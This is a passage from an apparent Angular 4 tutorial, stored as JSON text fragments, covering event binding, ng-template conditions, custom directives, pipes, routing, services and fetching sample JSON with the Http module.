"code": null, "e": 43245, "s": 42622, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n //array of months.\n months = [\"January\", \"Feburary\", \"March\", \"April\",\n \"May\", \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n isavailable = true;\n myClickFunction(event) {\n alert(\"Button is clicked\");\n console.log(event);\n }\n changemonths(event) {\n console.log(\"Changed month from the Dropdown\");\n console.log(event);\n }\n}" }, { "code": null, "e": 43349, "s": 43245, "text": "The console message “Changed month from the Dropdown” is displayed in the console along with the event." }, { "code": null, "e": 43458, "s": 43349, "text": "Let us add an alert message in app.component.ts when the value from the dropdown is changed as shown below −" }, { "code": null, "e": 44170, "s": 43458, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n //array of months.\n months = [\"January\", \"February\", \"March\", \"April\",\n \"May\", \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n \n isavailable = true;\n myClickFunction(event) { \n //just added console.log which will display the event details in browser \n on click of the button.\n alert(\"Button is clicked\");\n console.log(event);\n }\n changemonths(event) {\n alert(\"Changed month from the Dropdown\");\n }\n}" }, { "code": null, "e": 44315, "s": 44170, "text": "When the value in dropdown is changed, a dialog box will appear and the following message will be displayed - “Changed month from the Dropdown”." }, { "code": null, "e": 44655, "s": 44315, "text": "Angular 4 uses the <ng-template> as the tag instead of <template> which is used in Angular2. The reason Angular 4 changed <template> to <ng-template> is because there is a name conflict between the <template> tag and the html <template> standard tag. It will deprecate completely going ahead. This is one of the major changes in Angular 4." }, { "code": null, "e": 44736, "s": 44655, "text": "Let us now use the template along with the if else condition and see the output." }, { "code": null, "e": 45367, "s": 44736, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style = \"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select (change) = \"changemonths($event)\" name = \"month\">\n <option *ngFor = \"let i of months\">{{i}}</option>\n </select>\n</div>\n<br/>\n\n<div>\n <span *ngIf = \"isavailable;then condition1 else condition2\">Condition is valid.</span>\n <ng-template #condition1>Condition is valid from template</ng-template>\n <ng-template #condition2>Condition is invalid from template</ng-template>\n</div>\n<button (click) = \"myClickFunction($event)\">Click Me</button>" }, { "code": null, "e": 45492, "s": 45367, "text": "For the Span tag, we have added the if statement with the else condition and will call template condition1, else condition2." }, { "code": null, "e": 45536, "s": 45492, "text": "The templates are to be called as follows −" }, { "code": null, "e": 45683, "s": 45536, "text": "<ng-template #condition1>Condition is valid from template</ng-template>\n<ng-template #condition2>Condition is invalid from template</ng-template>\n" }, { "code": null, "e": 45771, "s": 45683, "text": "If the condition is true, then the condition1 template is called, otherwise condition2." }, { "code": null, "e": 46372, "s": 45771, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent {\n title = 'Angular 4 Project!';\n //array of months.\n months = [\"January\", \"February\", \"March\", \"April\",\n \"May\", \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n isavailable = false;\n myClickFunction(event) {\n this.isavailable = false;\n }\n changemonths(event) {\n alert(\"Changed month from the Dropdown\");\n console.log(event);\n }\n}" }, { "code": null, "e": 46414, "s": 46372, "text": "The output in the browser is as follows −" }, { "code": null, "e": 46694, "s": 46414, "text": "The variable isavailable is false so the condition2 template is printed. If you click the button, the respective template will be called. If you inspect the browser, you will see that you never get the span tag in the dom. The following example will help you understand the same." }, { "code": null, "e": 46834, "s": 46694, "text": "If you inspect the browser, you will see that the dom does not have the span tag. It has the Condition is invalid from template in the dom." }, { "code": null, "e": 46911, "s": 46834, "text": "The following line of code in html will help us get the span tag in the dom." }, { "code": null, "e": 47526, "s": 46911, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style = \"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select (change) = \"changemonths($event)\" name = \"month\">\n <option *ngFor = \"let i of months\">{{i}}</option>\n </select>\n</div>\n<br/>\n\n<div>\n <span *ngIf = \"isavailable; else condition2\">Condition is valid.</span>\n <ng-template #condition1>Condition is valid from template</ng-template>\n <ng-template #condition2>Condition is invalid from template</ng-template>\n</div>\n\n<button (click)=\"myClickFunction($event)\">Click Me</button>" }, { "code": null, "e": 47742, "s": 47526, "text": "If we remove the then condition, we get the “Condition is valid” message in the browser and the span tag is also available in the dom. For example, in app.component.ts, we have made the isavailable variable as true." }, { "code": null, "e": 47879, "s": 47742, "text": "Directives in Angular is a js class, which is declared as @directive. We have 3 directives in Angular. The directives are listed below −" }, { "code": null, "e": 47996, "s": 47879, "text": "These form the main class having details of how the component should be processed, instantiated and used at runtime." }, { "code": null, "e": 48159, "s": 47996, "text": "A structure directive basically deals with manipulating the dom elements. Structural directives have a * sign before the directive. For example, *ngIf and *ngFor." }, { "code": null, "e": 48292, "s": 48159, "text": "Attribute directives deal with changing the look and behavior of the dom element. You can create your own directives as shown below." }, { "code": null, "e": 48433, "s": 48292, "text": "In this section, we will discuss about Custom Directives to be used in components. Custom directives are created by us and are not standard." }, { "code": null, "e": 48597, "s": 48433, "text": "Let us see how to create the custom directive. We will create the directive using the command line. The command to create the directive using the command line is −" }, { "code": null, "e": 48664, "s": 48597, "text": "ng g directive nameofthedirective\n\ne.g\n\nng g directive changeText\n" }, { "code": null, "e": 48707, "s": 48664, "text": "This is how it appears in the command line" }, { "code": null, "e": 48905, "s": 48707, "text": "C:\\projectA4\\Angular 4-app>ng g directive changeText\ninstalling directive\n create src\\app\\change-text.directive.spec.ts\n create src\\app\\change-text.directive.ts\n update src\\app\\app.module.ts\n" }, { "code": null, "e": 49038, "s": 48905, "text": "The above files, i.e., change-text.directive.spec.ts and change-text.directive.ts get created and the app.module.ts file is updated." }, { "code": null, "e": 49541, "s": 49038, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { AppComponent } from './app.component';\n\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\nimport { ChangeTextDirective } from './change-text.directive';\n\n@NgModule({\n declarations: [\n AppComponent,\n NewCmpComponent,\n ChangeTextDirective\n ],\n\n imports: [\n BrowserModule\n ],\n\n providers: [],\n bootstrap: [AppComponent]\n})\n\nexport class AppModule { }" }, { "code": null, "e": 49676, "s": 49541, "text": "The ChangeTextDirective class is included in the declarations in the above file. The class is also imported from the file given below." }, { "code": null, "e": 49823, "s": 49676, "text": "import { Directive } from '@angular/core';\n@Directive({\n selector: '[changeText]'\n})\n\nexport class ChangeTextDirective {\n constructor() { }\n}\n" }, { "code": null, "e": 50000, "s": 49823, "text": "The above file has a directive and it also has a selector property. Whatever we define in the selector, the same has to match in the view, where we assign the custom directive." }, { "code": null, "e": 50070, "s": 50000, "text": "In the app.component.html view, let us add the directive as follows −" }, { "code": null, "e": 50160, "s": 50070, "text": "<div style=\"text-align:center\">\n <span changeText >Welcome to {{title}}.</span>\n</div>\n" }, { "code": null, "e": 50232, "s": 50160, "text": "We will write the changes in change-text.directive.ts file as follows −" }, { "code": null, "e": 50523, "s": 50232, "text": "import { Directive, ElementRef} from '@angular/core';\n@Directive({\n selector: '[changeText]'\n})\n\nexport class ChangeTextDirective {\n constructor(Element: ElementRef) {\n console.log(Element);\n Element.nativeElement.innerText=\"Text is changed by changeText Directive. \";\n }\n}\n" }, { "code": null, "e": 50748, "s": 50523, "text": "In the above file, there is a class called ChangeTextDirective and a constructor, which takes the element of type ElementRef, which is mandatory. The element has all the details to which the Change Text directive is applied." }, { "code": null, "e": 50902, "s": 50748, "text": "We have added the console.log element. The output of the same can be seen in the browser console. The text of the element is also changed as shown above." }, { "code": null, "e": 50944, "s": 50902, "text": "Now, the browser will show the following." }, { "code": null, "e": 51089, "s": 50944, "text": "In this chapter, we will discuss what are Pipes in Angular 4. Pipes were earlier called filters in Angular1 and called pipes in Angular 2 and 4." }, { "code": null, "e": 51169, "s": 51089, "text": "The | character is used to transform data. Following is the syntax for the same" }, { "code": null, "e": 51208, "s": 51169, "text": "{{ Welcome to Angular 4 | lowercase}}\n" }, { "code": null, "e": 51358, "s": 51208, "text": "It takes integers, strings, arrays, and date as input separated with | to be converted in the format as required and display the same in the browser." }, { "code": null, "e": 51402, "s": 51358, "text": "Let us consider a few examples using pipes." }, { "code": null, "e": 51498, "s": 51402, "text": "Here, we want to display the text given to uppercase. This can be done using pipes as follows −" }, { "code": null, "e": 51565, "s": 51498, "text": "In the app.component.ts file, we have defined the title variable −" }, { "code": null, "e": 51792, "s": 51565, "text": "import { Component } from '@angular/core';\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n}\n" }, { "code": null, "e": 51858, "s": 51792, "text": "The following line of code goes into the app.component.html file." }, { "code": null, "e": 51922, "s": 51858, "text": "<b>{{title | uppercase}}</b><br/>\n<b>{{title | lowercase}}</b>\n" }, { "code": null, "e": 51981, "s": 51922, "text": "The browser appears as shown in the following screenshot −" }, { "code": null, "e": 52050, "s": 51981, "text": "Angular 4 provides some built-in pipes. The pipes are listed below −" }, { "code": null, "e": 52064, "s": 52050, "text": "Lowercasepipe" }, { "code": null, "e": 52078, "s": 52064, "text": "Uppercasepipe" }, { "code": null, "e": 52087, "s": 52078, "text": "Datepipe" }, { "code": null, "e": 52100, "s": 52087, "text": "Currencypipe" }, { "code": null, "e": 52109, "s": 52100, "text": "Jsonpipe" }, { "code": null, "e": 52121, "s": 52109, "text": "Percentpipe" }, { "code": null, "e": 52133, "s": 52121, "text": "Decimalpipe" }, { "code": null, "e": 52143, "s": 52133, "text": "Slicepipe" }, { "code": null, "e": 52240, "s": 52143, "text": "We have already seen the lowercase and uppercase pipes. Let us now see how the other pipes work." }, { "code": null, "e": 52337, "s": 52240, "text": "The following line of code will help us define the required variables in app.component.ts file −" }, { "code": null, "e": 52782, "s": 52337, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n todaydate = new Date();\n jsonval = {name:'Rox', age:'25', address:{a1:'Mumbai', a2:'Karnataka'}};\n months = [\"Jan\", \"Feb\", \"Mar\", \"April\", \"May\", \"Jun\",\n \"July\", \"Aug\", \"Sept\", \"Oct\", \"Nov\", \"Dec\"];\n}" }, { "code": null, "e": 52836, "s": 52782, "text": "We will use the pipes in the app.component.html file." }, { "code": null, "e": 53940, "s": 52836, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style = \"width:100%;\">\n <div style = \"width:40%;float:left;border:solid 1px black;\">\n <h1>Uppercase Pipe</h1>\n <b>{{title | uppercase}}</b><br/>\n \n <h1>Lowercase Pipe</h1>\n <b>{{title | lowercase}}</b>\n \n <h1>Currency Pipe</h1>\n <b>{{6589.23 | currency:\"USD\"}}</b><br/>\n <b>{{6589.23 | currency:\"USD\":true}}</b> //Boolean true is used to get the sign of the currency.\n \n <h1>Date pipe</h1>\n <b>{{todaydate | date:'d/M/y'}}</b><br/>\n <b>{{todaydate | date:'shortTime'}}</b>\n \n <h1>Decimal Pipe</h1>\n <b>{{ 454.78787814 | number: '3.4-4' }}</b> // 3 is for main integer, 4 -4 are for integers to be displayed.\n </div>\n \n <div style = \"width:40%;float:left;border:solid 1px black;\">\n <h1>Json Pipe</h1>\n <b>{{ jsonval | json }}</b>\n <h1>Percent Pipe</h1>\n <b>{{00.54565 | percent}}</b>\n <h1>Slice Pipe</h1>\n <b>{{months | slice:2:6}}</b> \n // here 2 and 6 refers to the start and the end index\n </div>\n</div>" }, { "code": null, "e": 53998, "s": 53940, "text": "The following screenshots show the output for each pipe −" }, { "code": null, "e": 54166, "s": 53998, "text": "To create a custom pipe, we have created a new ts file. Here, we want to create the sqrt custom pipe. We have given the same name to the file and it looks as follows −" }, { "code": null, "e": 54370, "s": 54166, "text": "import {Pipe, PipeTransform} from '@angular/core';\n@Pipe ({\n name : 'sqrt'\n})\nexport class SqrtPipe implements PipeTransform {\n transform(val : number) : number {\n return Math.sqrt(val);\n }\n}\n" }, { "code": null, "e": 54616, "s": 54370, "text": "To create a custom pipe, we have to import Pipe and Pipe Transform from Angular/core. In the @Pipe directive, we have to give the name to our pipe, which will be used in our .html file. Since, we are creating the sqrt pipe, we will name it sqrt." }, { "code": null, "e": 54744, "s": 54616, "text": "As we proceed further, we have to create the class and the class name is SqrtPipe. This class will implement the PipeTransform." }, { "code": null, "e": 54876, "s": 54744, "text": "The transform method defined in the class will take argument as the number and will return the number after taking the square root." }, { "code": null, "e": 54978, "s": 54876, "text": "Since we have created a new file, we need to add the same in app.module.ts. This is done as follows −" }, { "code": null, "e": 55535, "s": 54978, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { AppComponent } from './app.component';\n\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\nimport { ChangeTextDirective } from './change-text.directive';\nimport { SqrtPipe } from './app.sqrt';\n\n@NgModule({\n declarations: [\n SqrtPipe,\n AppComponent,\n NewCmpComponent,\n ChangeTextDirective\n ],\n\n imports: [\n BrowserModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }\n" }, { "code": null, "e": 55715, "s": 55535, "text": "We have created the app.sqrt.ts class. We have to import the same in app.module.ts and specify the path of the file. It also has to be included in the declarations as shown above." }, { "code": null, "e": 55793, "s": 55715, "text": "Let us now see the call made to the sqrt pipe in the app.component.html file." }, { "code": null, "e": 55909, "s": 55793, "text": "<h1>Custom Pipe</h1>\n<b>Square root of 25 is: {{25 | sqrt}}</b>\n<br/>\n<b>Square root of 729 is: {{729 | sqrt}}</b>\n" }, { "code": null, "e": 55939, "s": 55909, "text": "The output looks as follows −" }, { "code": null, "e": 56281, "s": 55939, "text": "Routing basically means navigating between pages. You have seen many sites with links that direct you to a new page. This can be achieved using routing. Here the pages that we are referring to will be in the form of components. We have already seen how to create a component. Let us now create a component and see how to use routing with it." }, { "code": null, "e": 56383, "s": 56281, "text": "In the main parent component app.module.ts, we have to now include the router module as shown below −" }, { "code": null, "e": 57114, "s": 56383, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { RouterModule} from '@angular/router';\n\nimport { AppComponent } from './app.component';\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\nimport { ChangeTextDirective } from './change-text.directive';\nimport { SqrtPipe } from './app.sqrt';\n@NgModule({\n declarations: [\n SqrtPipe,\n AppComponent,\n NewCmpComponent,\n ChangeTextDirective\n ],\n imports: [\n BrowserModule,\n RouterModule.forRoot([\n {\n path: 'new-cmp',\n component: NewCmpComponent\n }\n ])\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }\n" }, { "code": null, "e": 57225, "s": 57114, "text": "Here, the RouterModule is imported from angular/router. The module is included in the imports as shown below −" }, { "code": null, "e": 57318, "s": 57225, "text": "RouterModule.forRoot([\n {\n path: 'new-cmp',\n component: NewCmpComponent\n }\n])\n" }, { "code": null, "e": 57547, "s": 57318, "text": "RouterModule refers to the forRoot which takes an input as an array, which in turn has the object of the path and the component. Path is the name of the router and component is the name of the class, i.e., the component created." }, { "code": null, "e": 57591, "s": 57547, "text": "Let us now see the component created file −" }, { "code": null, "e": 57918, "s": 57591, "text": "import { Component, OnInit } from '@angular/core';\n\n@Component({\n selector: 'app-new-cmp',\n templateUrl: './new-cmp.component.html',\n styleUrls: ['./new-cmp.component.css']\n})\n\nexport class NewCmpComponent implements OnInit {\n newcomponent = \"Entered in new component created\";\n constructor() {}\n ngOnInit() { }\n}\n" }, { "code": null, "e": 57988, "s": 57918, "text": "The highlighted class is mentioned in the imports of the main module." }, { "code": null, "e": 58046, "s": 57988, "text": "<p>\n {{newcomponent}}\n</p>\n\n<p>\n new-cmp works!\n</p>\n" }, { "code": null, "e": 58234, "s": 58046, "text": "Now, we need the above content from the html file to be displayed whenever required or clicked from the main module. For this, we need to add the router details in the app.component.html." }, { "code": null, "e": 58461, "s": 58234, "text": "<h1>Custom Pipe</h1>\n<b>Square root of 25 is: {{25 | sqrt}}</b><br/>\n<b>Square root of 729 is: {{729 | sqrt}}</b>\n\n<br />\n<br />\n<br />\n<a routerLink = \"new-cmp\">New component</a>\n\n<br />\n<br/>\n<router-outlet></router-outlet>\n" }, { "code": null, "e": 58598, "s": 58461, "text": "In the above code, we have created the anchor link tag and given routerLink as “new-cmp”. This is referred in app.module.ts as the path." }, { "code": null, "e": 58741, "s": 58598, "text": "When a user clicks new component, the page should display the content. For this, we need the following tag - <router-outlet> </router-outlet>." }, { "code": null, "e": 58874, "s": 58741, "text": "The above tag ensures that the content in the new-cmp.component.html will be displayed on the page when a user clicks new component." }, { "code": null, "e": 58933, "s": 58874, "text": "Let us now see how the output is displayed on the browser." }, { "code": null, "e": 59010, "s": 58933, "text": "When a user clicks New component, you will see the following in the browser." }, { "code": null, "e": 59203, "s": 59010, "text": "The url contains http://localhost:4200/new-cmp. Here, the new-cmp gets appended to the original url, which is the path given in the app.module.ts and the router-link in the app.component.html." }, { "code": null, "e": 59584, "s": 59203, "text": "When a user clicks New component, the page is not refreshed and the contents are shown to the user without any reloading. Only a particular piece of the site code will be reloaded when clicked. This feature helps when we have heavy content on the page and needs to be loaded based on the user interaction. The feature also gives a good user experience as the page is not reloaded." }, { "code": null, "e": 59644, "s": 59584, "text": "In this chapter, we will discuss the services in Angular 4." }, { "code": null, "e": 59944, "s": 59644, "text": "We might come across a situation where we need some code to be used everywhere on the page. It can be for data connection that needs to be shared across components, etc. Services help us achieve that. With services, we can access methods and properties across other components in the entire project." }, { "code": null, "e": 60036, "s": 59944, "text": "To create a service, we need to make use of the command line. The command for the same is −" }, { "code": null, "e": 60302, "s": 60036, "text": "C:\\projectA4\\Angular 4-app>ng g service myservice\ninstalling service\n create src\\app\\myservice.service.spec.ts\n create src\\app\\myservice.service.ts\n WARNING Service is generated but not provided, it must be provided to be used\n\n C:\\projectA4\\Angular 4-app>\n" }, { "code": null, "e": 60355, "s": 60302, "text": "The files are created in the app folder as follows −" }, { "code": null, "e": 60456, "s": 60355, "text": "Following are the files created at the bottom - myservice.service.specs.ts and myservice.service.ts." }, { "code": null, "e": 60571, "s": 60456, "text": "import { Injectable } from '@angular/core';\n\n@Injectable()\nexport class MyserviceService {\n constructor() { }\n}\n" }, { "code": null, "e": 60758, "s": 60571, "text": "Here, the Injectable module is imported from the @angular/core. It contains the @Injectable method and a class called MyserviceService. We will create our service function in this class." }, { "code": null, "e": 60862, "s": 60758, "text": "Before creating a new service, we need to include the service created in the main parent app.module.ts." }, { "code": null, "e": 61666, "s": 60862, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { RouterModule} from '@angular/router';\nimport { AppComponent } from './app.component';\n\nimport { MyserviceService } from './myservice.service';\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\nimport { ChangeTextDirective } from './change-text.directive';\nimport { SqrtPipe } from './app.sqrt';\n\n@NgModule({\n declarations: [\n SqrtPipe,\n AppComponent,\n NewCmpComponent,\n ChangeTextDirective\n ],\n imports: [\n BrowserModule,\n RouterModule.forRoot([\n {\n path: 'new-cmp',\n component: NewCmpComponent\n }\n ])\n ],\n providers: [MyserviceService],\n bootstrap: [AppComponent]\n})\n\nexport class AppModule { }" }, { "code": null, "e": 61835, "s": 61666, "text": "We have imported the Service with the class name and the same class is used in the providers. Let us now switch back to the service class and create a service function." }, { "code": null, "e": 62083, "s": 61835, "text": "In the service class, we will create a function which will display today’s date. We can use the same function in the main parent component app.component.ts and also in the new component new-cmp.component.ts that we created in the previous chapter." }, { "code": null, "e": 62169, "s": 62083, "text": "Let us now see how the function looks in the service and how to use it in components." }, { "code": null, "e": 62358, "s": 62169, "text": "import { Injectable } from '@angular/core';\n@Injectable()\nexport class MyserviceService {\n constructor() { }\n showTodayDate() {\n let ndate = new Date();\n return ndate;\n }\n}" }, { "code": null, "e": 62538, "s": 62358, "text": "In the above service file, we have created a function showTodayDate. Now we will return the new Date () created. Let us see how we can access this function in the component class." }, { "code": null, "e": 62966, "s": 62538, "text": "import { Component } from '@angular/core';\nimport { MyserviceService } from './myservice.service';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n todaydate;\n constructor(private myservice: MyserviceService) {}\n ngOnInit() {\n this.todaydate = this.myservice.showTodayDate();\n }\n}" }, { "code": null, "e": 63191, "s": 62966, "text": "The ngOnInit function gets called by default in any component created. The date is fetched from the service as shown above. To fetch more details of the service, we need to first include the service in the component ts file." }, { "code": null, "e": 63251, "s": 63191, "text": "We will display the date in the .html file as shown below −" }, { "code": null, "e": 63357, "s": 63251, "text": "{{todaydate}}\n<app-new-cmp></app-new-cmp> \n// data to be displayed to user from the new component class.\n" }, { "code": null, "e": 63425, "s": 63357, "text": "Let us now see how to use the service in the new component created." }, { "code": null, "e": 63918, "s": 63425, "text": "import { Component, OnInit } from '@angular/core';\nimport { MyserviceService } from './../myservice.service';\n\n@Component({\n selector: 'app-new-cmp',\n templateUrl: './new-cmp.component.html',\n styleUrls: ['./new-cmp.component.css']\n})\n\nexport class NewCmpComponent implements OnInit {\n todaydate;\n newcomponent = \"Entered in new component created\";\n constructor(private myservice: MyserviceService) {}\n\n ngOnInit() {\n this.todaydate = this.myservice.showTodayDate();\n }\n}" }, { "code": null, "e": 64156, "s": 63918, "text": "In the new component that we have created, we need to first import the service that we want and access the methods and properties of the same. Please see the code highlighted. The todaydate is displayed in the component html as follows −" }, { "code": null, "e": 64227, "s": 64156, "text": "<p>\n {{newcomponent}}\n</p>\n<p>\n Today's Date : {{todaydate}}\n</p>\n" }, { "code": null, "e": 64389, "s": 64227, "text": "The selector of the new component is used in the app.component.html file. The contents from the above html file will be displayed in the browser as shown below −" }, { "code": null, "e": 64525, "s": 64389, "text": "If you change the property of the service in any component, the same is changed in other components too. Let us now see how this works." }, { "code": null, "e": 64739, "s": 64525, "text": "We will define one variable in the service and use it in the parent and the new component. We will again change the property in the parent component and will see if the same is changed in the new component or not." }, { "code": null, "e": 64844, "s": 64739, "text": "In myservice.service.ts, we have created a property and used the same in other parent and new component." }, { "code": null, "e": 65074, "s": 64844, "text": "import { Injectable } from '@angular/core';\n\n@Injectable()\nexport class MyserviceService {\n serviceproperty = \"Service Created\";\n constructor() { }\n showTodayDate() {\n let ndate = new Date();\n return ndate;\n }\n}" }, { "code": null, "e": 65203, "s": 65074, "text": "Let us now use the serviceproperty variable in other components. In app.component.ts, we are accessing the variable as follows −" }, { "code": null, "e": 65847, "s": 65203, "text": "import { Component } from '@angular/core';\nimport { MyserviceService } from './myservice.service';\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n todaydate;\n componentproperty;\n constructor(private myservice: MyserviceService) {}\n ngOnInit() {\n this.todaydate = this.myservice.showTodayDate();\n console.log(this.myservice.serviceproperty);\n this.myservice.serviceproperty = \"component created\"; // value is changed.\n this.componentproperty = this.myservice.serviceproperty;\n }\n}" }, { "code": null, "e": 66035, "s": 65847, "text": "We will now fetch the variable and work on the console.log. In the next line, we will change the value of the variable to “component created”. We will do the same in new-cmp.component.ts." }, { "code": null, "e": 66609, "s": 66035, "text": "import { Component, OnInit } from '@angular/core';\nimport { MyserviceService } from './../myservice.service';\n\n@Component({\n selector: 'app-new-cmp',\n templateUrl: './new-cmp.component.html',\n styleUrls: ['./new-cmp.component.css']\n})\n\nexport class NewCmpComponent implements OnInit {\n todaydate;\n newcomponentproperty;\n newcomponent = \"Entered in newcomponent\";\n constructor(private myservice: MyserviceService) {}\n ngOnInit() {\n this.todaydate = this.myservice.showTodayDate();\n this.newcomponentproperty = this.myservice.serviceproperty;\n }\n}" }, { "code": null, "e": 66725, "s": 66609, "text": "In the above component, we are not changing anything but directly assigning the property to the component property." }, { "code": null, "e": 66916, "s": 66725, "text": "Now when you execute it in the browser, the service property will be changed since the value of it is changed in app.component.ts and the same will be displayed for the new-cmp.component.ts." }, { "code": null, "e": 66974, "s": 66916, "text": "Also check the value in the console before it is changed." }, { "code": null, "e": 67183, "s": 66974, "text": "Http Service will help us fetch external data, post to it, etc. We need to import the http module to make use of the http service. Let us consider an example to understand how to make use of the http service." }, { "code": null, "e": 67280, "s": 67183, "text": "To start using the http service, we need to import the module in app.module.ts as shown below −" }, { "code": null, "e": 67776, "s": 67280, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { BrowserAnimationsModule } from '@angular/platform-browser/animations';\nimport { HttpModule } from '@angular/http';\nimport { AppComponent } from './app.component';\n\n@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule,\n BrowserAnimationsModule,\n HttpModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }" }, { "code": null, "e": 67909, "s": 67776, "text": "If you see the highlighted code, we have imported the HttpModule from @angular/http and the same is also added in the imports array." }, { "code": null, "e": 67966, "s": 67909, "text": "Let us now use the http service in the app.component.ts." }, { "code": null, "e": 68441, "s": 67966, "text": "import { Component } from '@angular/core';\nimport { Http } from '@angular/http';\nimport 'rxjs/add/operator/map';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n constructor(private http: Http) { }\n ngOnInit() {\n this.http.get(\"http://jsonplaceholder.typicode.com/users\").\n map((response) ⇒ response.json()).\n subscribe((data) ⇒ console.log(data))\n }\n}" }, { "code": null, "e": 68565, "s": 68441, "text": "Let us understand the code highlighted above. We need to import http to make use of the service, which is done as follows −" }, { "code": null, "e": 68604, "s": 68565, "text": "import { Http } from '@angular/http';\n" }, { "code": null, "e": 68777, "s": 68604, "text": "In the class AppComponent, a constructor is created and the private variable http of type Http. To fetch the data, we need to use the get API available with http as follows" }, { "code": null, "e": 68795, "s": 68777, "text": "this.http.get();\n" }, { "code": null, "e": 68865, "s": 68795, "text": "It takes the url to be fetched as the parameter as shown in the code." }, { "code": null, "e": 69148, "s": 68865, "text": "We will use the test url - https://jsonplaceholder.typicode.com/users to fetch the json data. Two operations are performed on the fetched url data map and subscribe. The Map method helps to convert the data to json format. To use the map, we need to import the same as shown below −" }, { "code": null, "e": 69181, "s": 69148, "text": "import 'rxjs/add/operator/map';\n" }, { "code": null, "e": 69278, "s": 69181, "text": "Once the map is done, the subscribe will log the output in the console as shown in the browser −" }, { "code": null, "e": 69386, "s": 69278, "text": "If you see, the json objects are displayed in the console. The objects can be displayed in the browser too." }, { "code": null, "e": 69507, "s": 69386, "text": "For the objects to be displayed in the browser, update the codes in app.component.html and app.component.ts as follows −" }, { "code": null, "e": 70081, "s": 69507, "text": "import { Component } from '@angular/core';\nimport { Http } from '@angular/http';\nimport 'rxjs/add/operator/map';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent {\n constructor(private http: Http) { }\n httpdata;\n ngOnInit() {\n this.http.get(\"http://jsonplaceholder.typicode.com/users\").\n map(\n (response) ⇒ response.json()\n ).\n subscribe(\n (data) ⇒ {this.displaydata(data);}\n )\n }\n displaydata(data) {this.httpdata = data;}\n}" }, { "code": null, "e": 70216, "s": 70081, "text": "In app.component.ts, using the subscribe method we will call the display data method and pass the data fetched as the parameter to it." }, { "code": null, "e": 70413, "s": 70216, "text": "In the display data method, we will store the data in a variable httpdata. The data is displayed in the browser using for over this httpdata variable, which is done in the app.component.html file." }, { "code": null, "e": 70521, "s": 70413, "text": "<ul *ngFor = \"let data of httpdata\">\n <li>Name : {{data.name}} Address: {{data.address.city}}</li>\n</ul>\n" }, { "code": null, "e": 70553, "s": 70521, "text": "The json object is as follows −" }, { "code": null, "e": 71106, "s": 70553, "text": "{\n \"id\": 1,\n \"name\": \"Leanne Graham\",\n \"username\": \"Bret\",\n \"email\": \"[email protected]\",\n \n \"address\": {\n \"street\": \"Kulas Light\",\n \"suite\": \"Apt. 556\",\n \"city\": \"Gwenborough\",\n \"zipcode\": \"92998-3874\",\n \"geo\": {\n \"lat\": \"-37.3159\",\n \"lng\": \"81.1496\"\n }\n },\n \n \"phone\": \"1-770-736-8031 x56442\",\n \"website\": \"hildegard.org\",\n \"company\": {\n \"name\": \"Romaguera-Crona\",\n \"catchPhrase\": \"Multi-layered client-server neural-net\",\n \"bs\": \"harness real-time e-markets\"\n }\n}\n" }, { "code": null, "e": 71398, "s": 71106, "text": "The object has properties such as id, name, username, email, and address that internally has street, city, etc. and other details related to phone, website, and company. Using the for loop, we will display the name and the city details in the browser as shown in the app.component.html file." }, { "code": null, "e": 71448, "s": 71398, "text": "This is how the display is shown in the browser −" }, { "code": null, "e": 71587, "s": 71448, "text": "Let us now add the search parameter, which will filter based on specific data. We need to fetch the data based on the search param passed." }, { "code": null, "e": 71669, "s": 71587, "text": "Following are the changes done in app.component.html and app.component.ts files −" }, { "code": null, "e": 72337, "s": 71669, "text": "import { Component } from '@angular/core';\nimport { Http } from '@angular/http';\nimport 'rxjs/add/operator/map';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: 